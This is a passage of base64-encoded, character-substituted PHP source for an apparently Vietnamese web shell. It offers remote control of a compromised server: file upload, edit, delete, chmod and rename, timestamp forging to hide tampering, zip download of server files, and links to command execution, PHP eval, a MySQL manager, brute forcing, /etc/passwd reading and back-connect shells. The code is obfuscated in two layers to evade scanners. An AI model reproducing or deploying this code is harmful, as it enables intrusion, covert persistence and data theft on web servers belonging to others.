jxmMm50IGMybDJyPXdoNHQ1PlM1cnY1cjwvZjJudD46ICIuQHMzYnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsNmEwKS4iIC0gPGYybnQgYzJsMnI9d2g0dDU+NGQ8L2YybnQ+OiAiLkBnNXRteTM0ZCgpLiIoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpIC0gMzRkPSIuQGc1dG15MzRkKCkuIiAoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpIGc0ZD0iLkBnNXRteWc0ZCgpLiIoIi5AZzV0X2MzcnI1bnRfM3M1cigpLiIpPGJyPiI7DQoJCT8+DQoJCTwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+DQoNCgk8L3RyPg0KCTx0ciBjbDFzcz0iMWx0NiI+DQoJCTx0ZCAgdzRkdGg9NjAlPjxzcDFuIHN0eWw1PSJmbDIxdDpsNWZ0OyI+W1M1cnY1ciBJUDogPD9waHAgNWNoMiAiPGYybnQgYzJsMnI9eTVsbDJ3PiIuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIjwvZjJudD4iOz8+IC0gWTIzciBJUDogPD9waHAgNWNoMiAiPGYybnQgYzJsMnI9eTVsbDJ3PiIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uIjwvZjJudD4iOz8+XSA8L3NwMW4+ICAgPGJyIC8+DQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxiciAvPg0KCQkJDQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdmNGw1Jyk7Ij5GNGw1IE0xbjFnNXI8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3NxbDFkbTRuJyk7Ij5NeVNRTCBNMW4xZzVyPC8xPiB8DQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdzcWxmNGw1Jyk7Ij5NeVNRTCBVcGwyMWQgJjFtcDsgRDJ3bmwyMWQ8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3NoNWxsJyk7Ij5FeDVjM3Q1IEMybW0xbmQ8LzE+IHwNCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3BocDVudicpOyI+UEhQIFYxcjQxYmw1PC8xPiB8DQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCc1djFsJyk7Ij5FdjFsIFBIUCBDMmQ1PC8xPg0KDQoJCQk8P3BocCA0ZiAoIUlTX1dJTikgez8+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignYnIzdDUnKTsiPkJyM3Q1PC8xPiA8P3BocCB9Pz4NCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCc1dGNwd2QnKTsiPi81dGMvcDFzc3dkPC8xPiA8P3BocCB9Pz4NCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdiMWNrYzJubjVjdCcpOyI+QjFjayBDMm5uNWN0PC8xPjw/cGhwIH0/Pg0KDQoJCTwvdGQ+DQoJPC90cj4NCjwvdDFibDU+DQo8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjZpIiBjNWxsc3AxYzRuZz0iMCI+PHRyPjx0ZD4NCjw/cGhwDQoNCmYycm1oNTFkKDFycjF5KCduMW01Jz0+J2cyMWN0NDJuJykpOw0KbTFrNWg0ZDUoJzFjdDQybicpOw0KZjJybWYyMnQoKTsNCg0KJDVycm1zZyAmJiBtKCQ1cnJtc2cpOw0KDQovLyBENHIgZjNuY3Q0Mm4NCiEkZDRyICYmICRkNHIgPSAnLic7DQokbjJ3cDF0aCA9IGc1dFAxdGgoU0FfUk9PVCwgJGQ0cik7DQo0ZiAoczNic3RyKCRkNHIsIC02KSAhPSAnLycpIHsNCgkkZDRyID0gJGQ0ci4nLyc7DQp9DQokMzVkNHIgPSAzNSgkZDRyKTsNCg0KNGYgKCEkMWN0NDJuIHx8ICQxY3Q0Mm4gPT0gJ2Y0bDUnKSB7DQoNCgkvLyBOMm4td3I0dDUxYmw1DQoJJGQ0cl93cjR0NTFibDUgPSBANHNfd3I0dDFibDUoJG4yd3AxdGgpID8gJ1dyNHQxYmw1JyA6ICdOMm4td3I0dDFibDUnOw0KDQoJLy8gRDVsNXQ1IGQ0cg0KCTRmICgkZDI0bmcgPT0gJ2Q1bGQ0cicgJiYgJHRoNWY0bDUpIHsNCgkJNGYgKCFmNGw1XzV4NHN0cygkdGg1ZjRsNSkpIHsNCgkJCW0oJHRoNWY0bDUuJyBkNHI1Y3QycnkgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCW0oJ0Q0cjVjdDJyeSBkNWw1dDUgJy4oZDVsdHI1NSgkdGg1ZjRsNSkgPyBiMXM1bjFtNSgkdGg1ZjRsNSkuJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBDcjUxdDUgbjV3IGQ0cg0KCTVsczU0ZiAoJG41d2Q0cm4xbTUpIHsNCgkJJG1rZDRycyA9ICRuMndwMXRoLiRuNXdkNHJuMW01Ow0KCQk0ZiAoZjRsNV81eDRzdHMoJG1rZDRycykpIHsNCgkJCW0oJ0Q0cjVjdDJyeSBoMXMgMWxyNTFkeSA1eDRzdDVkJyk7DQoJCX0gNWxzNSB7DQoJCQltKCdENHI1Y3QycnkgY3I1MXQ1ZCAnLihAbWtkNHIoJG1rZDRycywwNzc3KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCQlAY2htMmQoJG1rZDRycywwNzc3KTsNCgkJfQ0KCX0NCg0KCS8vIFVwbDIxZCBmNGw1DQoJNWxzNTRmICgkZDIzcGY0bDUpIHsNCgkJbSgnRjRsNSAzcGwyMWQgJy4oQGMycHkoJF9GSUxFU1snM3BsMjFkZjRsNSddWyd0bXBfbjFtNSddLCQzcGwyMWRkNHIuJy8nLiRfRklMRVNbJzNwbDIxZGY0bDUnXVsnbjFtNSddKSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJfQ0KDQoJLy8gRWQ0dCBmNGw1DQoJNWxzNTRmICgkNWQ0dGY0bDVuMW01ICYmICRmNGw1YzJudDVudCkgew0KCQkkZnAgPSBAZjJwNW4oJDVkNHRmNGw1bjFtNSwndycpOw0KCQltKCdTMXY1IGY0bDUgJy4oQGZ3cjR0NSgkZnAsJGY0bDVjMm50NW50KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCUBmY2wyczUoJGZwKTsNCgl9DQoNCgkvLyBNMmQ0ZnkNCgk1bHM1NGYgKCRwZjRsNSAmJiAkbjV3cDVybSkgew0KCQk0ZiAoIWY0bDVfNXg0c3RzKCRwZjRsNSkpIHsNCgkJCW0oJ1RoNSAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkbjV3cDVybSA9IGIxczVfYzJudjVydCgkbjV3cDVybSw4LDYwKTsNCgkJCW0oJ00yZDRmeSBmNGw1IDF0dHI0YjN0NXMgJy4oQGNobTJkKCRwZjRsNSwkbjV3cDVybSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gUjVuMW01DQoJNWxzNTRmICgkMmxkbjFtNSAmJiAkbjV3ZjRsNW4xbTUpIHsNCgkJJG5uMW01ID0gJG4yd3AxdGguJG41d2Y0bDVuMW01Ow0KCQk0ZiAoZjRsNV81eDRzdHMoJG5uMW01KSB8fCAhZjRsNV81eDRzdHMoJDJsZG4xbTUpKSB7DQoJCQltKCRubjFtNS4nIGgxcyAxbHI1MWR5IDV4NHN0NWQgMnIgMnI0ZzRuMWwgZjRsNSBkMjVzIG4ydCA1eDRzdCcpOw0KCQl9IDVsczUgew0KCQkJbShiMXM1bjFtNSgkMmxkbjFtNSkuJyByNW4xbTVkICcuYjFzNW4xbTUoJG5uMW01KS4oQHI1bjFtNSgkMmxkbjFtNSwkbm4xbTUpID8gJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBDMnAzDQoJNWxzNTRmICgkc24xbTUgJiYgJHQyZjRsNSkgew0KCQk0ZiAoZjRsNV81eDRzdHMoJHQyZjRsNSkgfHwgIWY0bDVfNXg0c3RzKCRzbjFtNSkpIHsNCgkJCW0oJ1RoNSBnMjFsIGY0bDUgaDFzIDFscjUxZHkgNXg0c3Q1ZCAyciAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQltKGIxczVuMW01KCR0MmY0bDUpLicgYzJwNDVkICcuKEBjMnB5KCRzbjFtNSwkdDJmNGw1KSA/IGIxczVuMW01KCR0MmY0bDUpLicgczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRjRsNSA1eDR0DQoJNWxzNTRmICgkYzNyZjRsNSAmJiAkdDFyZjRsNSkgew0KCQk0ZiAoIUBmNGw1XzV4NHN0cygkYzNyZjRsNSkgfHwgIUBmNGw1XzV4NHN0cygkdDFyZjRsNSkpIHsNCgkJCW0oJ1RoNSBnMjFsIGY0bDUgaDFzIDFscjUxZHkgNXg0c3Q1ZCAyciAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJHQxcmY0bDUpOw0KCQkJbSgnTTJkNGZ5IGY0bDUgdGg1IGwxc3QgbTJkNGY0NWQgJy4oQHQyM2NoKCRjM3JmNGw1LCR0NG01LCR0NG01KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBEMXQ1DQoJNWxzNTRmICgkYzNyZjRsNSAmJiAkeTUxciAmJiAkbTJudGggJiYgJGQxeSAmJiAkaDIzciAmJiAkbTRuM3Q1ICYmICRzNWMybmQpIHsNCgkJNGYgKCFAZjRsNV81eDRzdHMoJGMzcmY0bDUpKSB7DQoJCQltKGIxczVuMW01KCRjM3JmNGw1KS4nIGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkdDRtNSA9IHN0cnQydDRtNSgiJHk1MXItJG0ybnRoLSRkMXkgJGgyM3I6JG00bjN0NTokczVjMm5kIik7DQoJCQltKCdNMmQ0ZnkgZjRsNSB0aDUgbDFzdCBtMmQ0ZjQ1ZCAnLihAdDIzY2goJGMzcmY0bDUsJHQ0bTUsJHQ0bTUpID8gJ3MzY2M1c3MnIDogJ2YxNGw1ZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEQyd25sMjFkDQoJNWxzNTRmKCRkMjRuZyA9PSAnZDJ3bnIxcicpIHsNCgkJNGYgKCRkbCkgew0KCQkJJGRmNGw1cz0nJzsNCgkJCWYycjUxY2ggKCRkbCAxcyAkZjRsNXAxdGggPT4gJHYxbDM1KSB7DQoJCQkJJGRmNGw1cy49JGY0bDVwMXRoLicsJzsNCgkJCX0NCgkJCSRkZjRsNXM9czNic3RyKCRkZjRsNXMsMCxzdHJsNW4oJGRmNGw1cyktNik7DQoJCQkkZGw9NXhwbDJkNSgnLCcsJGRmNGw1cyk7DQoJCQkkejRwPW41dyBQSFBaNHAoJGRsKTsNCgkJCSRjMmQ1PSR6NHAtPjIzdDsNCgkJCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nKTsNCgkJCWg1MWQ1cignQWNjNXB0LVIxbmc1czogYnl0NXMnKTsNCgkJCWg1MWQ1cignQWNjNXB0LUw1bmd0aDogJy5zdHJsNW4oJGMyZDUpKTsNCgkJCWg1MWQ1cignQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDtmNGw1bjFtNT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0Y0bDVzLnQxci5neicpOw0KCQkJNWNoMiAkYzJkNTsNCgkJCTV4NHQ7DQoJCX0gNWxzNSB7DQoJCQltKCdQbDUxczUgczVsNWN0IGY0bDUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIEQ1bDV0NSBmNGw1DQoJNWxzNTRmKCRkMjRuZyA9PSAnZDVsZjRsNXMnKSB7DQoJCTRmICgkZGwpIHsNCgkJCSRkZjRsNXM9Jyc7DQoJCQkkczNjYyA9ICRmMTRsID0gMDsNCgkJCWYycjUxY2ggKCRkbCAxcyAkZjRsNXAxdGggPT4gJHYxbDM1KSB7DQoJCQkJNGYgKEAzbmw0bmsoJGY0bDVwMXRoKSkgew0KCQkJCQkkczNjYysrOw0KCQkJCX0gNWxzNSB7DQoJCQkJCSRmMTRsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRDVsNXQ1ZCBmNGw1IGgxdjUgZjRuNHNoNWQ/P2NoMjJzNSAnLmMyM250KCRkbCkuJyBzM2NjNXNzICcuJHMzY2MuJyBmMTRsICcuJGYxNGwpOw0KCQl9IDVsczUgew0KCQkJbSgnUGw1MXM1IHM1bDVjdCBmNGw1KHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBGM25jdDQybiBONXdkNHINCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidjcjUxdDVkNHInKSk7DQoJbTFrNWg0ZDUoJ241d2Q0cm4xbTUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidmNGw1cDVybScpKTsNCgltMWs1aDRkNSgnbjV3cDVybScpOw0KCW0xazVoNGQ1KCdwZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2MycHlmNGw1JykpOw0KCW0xazVoNGQ1KCdzbjFtNScpOw0KCW0xazVoNGQ1KCd0MmY0bDUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidyNW4xbTUnKSk7DQoJbTFrNWg0ZDUoJzJsZG4xbTUnKTsNCgltMWs1aDRkNSgnbjV3ZjRsNW4xbTUnKTsNCgltMWs1aDRkNSgnZDRyJywkbjJ3cDF0aCk7DQoJZjJybWYyMnQoKTsNCglmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidmNGw1MnBmMnJtJykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nKTsNCgltMWs1aDRkNSgnMnBmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicpOw0KCWYycm1mMjJ0KCk7DQoNCgkkZnI1NSA9IEBkNHNrX2ZyNTVfc3AxYzUoJG4yd3AxdGgpOw0KCSEkZnI1NSAmJiAkZnI1NSA9IDA7DQoJJDFsbCA9IEBkNHNrX3QydDFsX3NwMWM1KCRuMndwMXRoKTsNCgkhJDFsbCAmJiAkMWxsID0gMDsNCgkkM3M1ZCA9ICQxbGwtJGZyNTU7DQoJJDNzNWRfcDVyYzVudCA9IEByMjNuZCg2MDAvKCQxbGwvJGZyNTUpLGEpOw0KCXAoJzxmMm50IGMybDJyPXk1bGwydyBmMWM1PXQxaDJtMSBzNHo1PWE+PEI+RjRsNSBNMW4xZzVyPC9iPiA8L2YybnQ+IEwmI3VvYTszIEwmI3VvYTsmIzc5MDc7bmcgJiNhN2E7JiNhYTc7IEQmI2F1OTtuZyA8ZjJudCBjMmwycj1yNWQ+Jy5zNHo1YzIzbnQoJGZyNTUpLic8L2YybnQ+IFRyMm5nIFQmIzc4OW87bmcgUyYjNzg4OTsgPGYybnQgYzJsMnI9cjVkPicuczR6NWMyM250KCQxbGwpLic8L2YybnQ+ICg8ZjJudCBjMmwycj1yNWQ+Jy4kM3M1ZF9wNXJjNW50Lic8L2YybnQ+JSk8L2YybnQ+Jyk7DQoNCj8+DQoNCjx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiIHN0eWw1PSJtMXJnNG46NjBweCAwOyI+DQogIDxmMnJtIDFjdDQybj0iIiBtNXRoMmQ9InAyc3QiIDRkPSJnMmQ0ciIgbjFtNT0iZzJkNHIiPg0KICA8dHI+DQogICAgPHRkIG4yd3IxcD4mI2E3YTsmI3VvYTsmIzc5MDY7bmcgRCYjNzhpNjtuIEY0bDUgKDw/cGhwIDVjaDIgJGQ0cl93cjR0NTFibDU7Pz4sIDw/cGhwIDVjaDIgZzV0Q2htMmQoJG4yd3AxdGgpOz8+KTwvdGQ+DQoJPHRkIHc0ZHRoPSI2MDAlIj48NG5wM3QgbjFtNT0idjQ1d193cjR0MWJsNSIgdjFsMzU9IjAiIHR5cDU9Img0ZGQ1biIgLz48NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJkNHIiIHYxbDM1PSI8P3BocCA1Y2gyICRuMndwMXRoOz8+IiB0eXA1PSJ0NXh0IiBzdHlsNT0idzRkdGg6NjAwJTttMXJnNG46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBuMndyMXA+PDRucDN0IGNsMXNzPSJidCIgdjFsMzU9IkdPIiB0eXA1PSJzM2JtNHQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZjJybT4NCg0KPC90MWJsNT4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIGNyNTF0NWQ0cigpew0KCXYxciBuNXdkNHJuMW01Ow0KCW41d2Q0cm4xbTUgPSBwcjJtcHQoJ1BsNTFzNSA0bnAzdCB0aDUgZDRyNWN0MnJ5IG4xbTU6JywgJycpOw0KCTRmICghbjV3ZDRybjFtNSkgcjV0M3JuOw0KCSQoJ2NyNTF0NWQ0cicpLm41d2Q0cm4xbTUudjFsMzU9bjV3ZDRybjFtNTsNCgkkKCdjcjUxdDVkNHInKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGY0bDVwNXJtKHBmNGw1KXsNCgl2MXIgbjV3cDVybTsNCgluNXdwNXJtID0gcHIybXB0KCdDM3JyNW50IGY0bDU6JytwZjRsNSsnXG5QbDUxczUgNG5wM3QgbjV3IDF0dHI0YjN0NTonLCAnJyk7DQoJNGYgKCFuNXdwNXJtKSByNXQzcm47DQoJJCgnZjRsNXA1cm0nKS5uNXdwNXJtLnYxbDM1PW41d3A1cm07DQoJJCgnZjRsNXA1cm0nKS5wZjRsNS52MWwzNT1wZjRsNTsNCgkkKCdmNGw1cDVybScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gYzJweWY0bDUoc24xbTUpew0KCXYxciB0MmY0bDU7DQoJdDJmNGw1ID0gcHIybXB0KCdPcjRnNG4xbCBmNGw1Oicrc24xbTUrJ1xuUGw1MXM1IDRucDN0IDJiajVjdCBmNGw1IChmM2xscDF0aCk6JywgJycpOw0KCTRmICghdDJmNGw1KSByNXQzcm47DQoJJCgnYzJweWY0bDUnKS50MmY0bDUudjFsMzU9dDJmNGw1Ow0KCSQoJ2MycHlmNGw1Jykuc24xbTUudjFsMzU9c24xbTU7DQoJJCgnYzJweWY0bDUnKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIHI1bjFtNSgybGRuMW01KXsNCgl2MXIgbjV3ZjRsNW4xbTU7DQoJbjV3ZjRsNW4xbTUgPSBwcjJtcHQoJ0Yycm01ciBmNGw1IG4xbTU6JysybGRuMW01KydcblBsNTFzNSA0bnAzdCBuNXcgZjRsNW4xbTU6JywgJycpOw0KCTRmICghbjV3ZjRsNW4xbTUpIHI1dDNybjsNCgkkKCdyNW4xbTUnKS5uNXdmNGw1bjFtNS52MWwzNT1uNXdmNGw1bjFtNTsNCgkkKCdyNW4xbTUnKS4ybGRuMW01LnYxbDM1PTJsZG4xbTU7DQoJJCgncjVuMW01JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBkMmY0bDUoZDI0bmcsdGg1ZjRsNSxtKXsNCgk0ZiAobSAmJiAhYzJuZjRybShtKSkgew0KCQlyNXQzcm47DQoJfQ0KCSQoJ2Y0bDVsNHN0JykuZDI0bmcudjFsMzU9ZDI0bmc7DQoJNGYgKHRoNWY0bDUpew0KCQkkKCdmNGw1bDRzdCcpLnRoNWY0bDUudjFsMzU9dGg1ZjRsNTsNCgl9DQoJJCgnZjRsNWw0c3QnKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGNyNTF0NWY0bDUobjJ3cDF0aCl7DQoJdjFyIGY0bDVuMW01Ow0KCWY0bDVuMW01ID0gcHIybXB0KCdQbDUxczUgNG5wM3QgdGg1IGY0bDUgbjFtNTonLCAnJyk7DQoJNGYgKCFmNGw1bjFtNSkgcjV0M3JuOw0KCTJwZjRsNSgnNWQ0dGY0bDUnLG4yd3AxdGggKyBmNGw1bjFtNSxuMndwMXRoKTsNCn0NCmYzbmN0NDJuIDJwZjRsNSgxY3Q0Mm4sMnBmNGw1LGQ0cil7DQoJJCgnZjRsNTJwZjJybScpLjFjdDQybi52MWwzNT0xY3Q0Mm47DQoJJCgnZjRsNTJwZjJybScpLjJwZjRsNS52MWwzNT0ycGY0bDU7DQoJJCgnZjRsNTJwZjJybScpLmQ0ci52MWwzNT1kNHI7DQoJJCgnZjRsNTJwZjJybScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gZzJkNHIoZDRyLHY0NXdfd3I0dDFibDUpew0KCTRmICh2NDV3X3dyNHQxYmw1KSB7DQoJCSQoJ2cyZDRyJykudjQ1d193cjR0MWJsNS52MWwzNT02Ow0KCX0NCgkkKCdnMmQ0cicpLmQ0ci52MWwzNT1kNHI7DQoJJCgnZzJkNHInKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KICA8P3BocA0KCXRiaDUxZCgpOw0KCXAoJzxmMnJtIDFjdDQybj0iJy4kczVsZi4nIiBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiPjx0ciBjbDFzcz0iMWx0NiI+PHRkIGMybHNwMW49IjciIHN0eWw1PSJwMWRkNG5nOmlweDsiPicpOw0KCXAoJzxkNHYgc3R5bDU9ImZsMjF0OnI0Z2h0OyI+PDRucDN0IGNsMXNzPSI0bnAzdCIgbjFtNT0iM3BsMjFkZjRsNSIgdjFsMzU9IiIgdHlwNT0iZjRsNSIgLz4gPDRucDN0IGNsMXNzPSIiIG4xbTU9ImQyM3BmNGw1IiB2MWwzNT0iVXBsMjFkIiB0eXA1PSJzM2JtNHQiIC8+PDRucDN0IG4xbTU9IjNwbDIxZGQ0ciIgdjFsMzU9IicuJGQ0ci4nIiB0eXA1PSJoNGRkNW4iIC8+PDRucDN0IG4xbTU9ImQ0ciIgdjFsMzU9IicuJGQ0ci4nIiB0eXA1PSJoNGRkNW4iIC8+PC9kNHY+Jyk7DQoJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+VzViUjIydDwvMT4nKTsNCgk0ZiAoJHY0NXdfd3I0dDFibDUpIHsNCgkJcCgnIHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJG4yd3AxdGguJ1wnKTsiPlY0NXcgQWxsPC8xPicpOw0KCX0gNWxzNSB7DQoJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRuMndwMXRoLidcJyxcJzZcJyk7Ij5WNDV3IFdyNHQxYmw1PC8xPicpOw0KCX0NCglwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmNyNTF0NWQ0cigpOyI+VCYjNzh1NjsyIFRoJiN1b2E7IG0mIzc5MDk7YzwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmNyNTF0NWY0bDUoXCcnLiRuMndwMXRoLidcJyk7Ij5UJiM3OHU2OzIgRjRsNTwvMT4nKTsNCgk0ZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkMmJqID0gbjV3IENPTSgnc2NyNHB0NG5nLmY0bDVzeXN0NW0yYmo1Y3QnKTsNCgkJNGYgKCQyYmogJiYgNHNfMmJqNWN0KCQyYmopKSB7DQoJCQkkRHI0djVUeXA1REIgPSAxcnIxeSgwID0+ICdVbmtuMncnLDYgPT4gJ1I1bTJ2MWJsNScsYSA9PiAnRjR4NWQnLG8gPT4gJ041dHcycmsnLHUgPT4gJ0NEUjJtJyxpID0+ICdSQU0gRDRzaycpOw0KCQkJZjJyNTFjaCgkMmJqLT5EcjR2NXMgMXMgJGRyNHY1KSB7DQoJCQkJNGYgKCRkcjR2NS0+RHI0djVUeXA1ID09IGEpIHsNCgkJCQkJcCgnIHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGRyNHY1LT5QMXRoLicvXCcpOyIgdDR0bDU9IlM0ejU6Jy5zNHo1YzIzbnQoJGRyNHY1LT5UMnQxbFM0ejUpLicmIzZvO0ZyNTU6Jy5zNHo1YzIzbnQoJGRyNHY1LT5GcjU1U3AxYzUpLicmIzZvO1R5cDU6Jy4kRHI0djVUeXA1REJbJGRyNHY1LT5EcjR2NVR5cDVdLiciPicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nKCcuJGRyNHY1LT5QMXRoLicpPC8xPicpOw0KCQkJCX0gNWxzNSB7DQoJCQkJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRkcjR2NS0+UDF0aC4nL1wnKTsiIHQ0dGw1PSJUeXA1OicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nIj4nLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJygnLiRkcjR2NS0+UDF0aC4nKTwvMT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mMnJtPicpOw0KDQoJcCgnPHRyIGNsMXNzPSJoNTFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+VCYjYW91O24gRjRsNTwvdGQ+PHRkIHc0ZHRoPSI2ZSUiPlRoJiM3OTA2OzQgRzQxbiBDJiM3OTY2OzEgRjRsNTwvdGQ+PHRkIHc0ZHRoPSI2MCUiPksmI2FvNztjaCBUaCYjdW9hOyYjNzg5OTtjPC90ZD48dGQgdzRkdGg9ImEwJSI+Q2htMmQgLyBQNXJtczwvdGQ+PHRkIHc0ZHRoPSJhYSUiPkMmI2FhdTs0ICYjYTdhOyYjNzhlbzt0PC90ZD48L3RyPicpOw0KDQoJLy8gRzV0IHAxdGgNCgkkZDRyZDF0MT0xcnIxeSgpOw0KCSRmNGw1ZDF0MT0xcnIxeSgpOw0KDQoJNGYgKCR2NDV3X3dyNHQxYmw1KSB7DQoJCSRkNHJkMXQxID0gRzV0TDRzdCgkbjJ3cDF0aCk7DQoJfSA1bHM1IHsNCgkJLy8gT3A1biBkNHINCgkJJGQ0cnM9QDJwNW5kNHIoJGQ0cik7DQoJCXdoNGw1ICgkZjRsNT1AcjUxZGQ0cigkZDRycykpIHsNCgkJCSRmNGw1cDF0aD0kbjJ3cDF0aC4kZjRsNTsNCgkJCTRmKEA0c19kNHIoJGY0bDVwMXRoKSl7DQoJCQkJJGQ0cmRiWydmNGw1bjFtNSddPSRmNGw1Ow0KCQkJCSRkNHJkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZDRyZGJbJ2Q0cmNobTJkJ109ZzV0Q2htMmQoJGY0bDVwMXRoKTsNCgkJCQkkZDRyZGJbJ2Q0cnA1cm0nXT1nNXRQNXJtcygkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZjRsNTJ3bjVyJ109ZzV0VXM1cigkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZDRybDRuayddPSRuMndwMXRoOw0KCQkJCSRkNHJkYlsnczVydjVyX2w0bmsnXT0kZjRsNXAxdGg7DQoJCQkJJGQ0cmRiWydjbDQ1bnRfbDRuayddPTM1KCRmNGw1cDF0aCk7DQoJCQkJJGQ0cmQxdDFbXT0kZDRyZGI7DQoJCQl9IDVsczUgew0KCQkJCSRmNGw1ZGJbJ2Y0bDVuMW01J109JGY0bDU7DQoJCQkJJGY0bDVkYlsnczR6NSddPXM0ejVjMjNudChAZjRsNXM0ejUoJGY0bDVwMXRoKSk7DQoJCQkJJGY0bDVkYlsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZjRsNXAxdGgpKTsNCgkJCQkkZjRsNWRiWydmNGw1Y2htMmQnXT1nNXRDaG0yZCgkZjRsNXAxdGgpOw0KCQkJCSRmNGw1ZGJbJ2Y0bDVwNXJtJ109ZzV0UDVybXMoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWRiWyd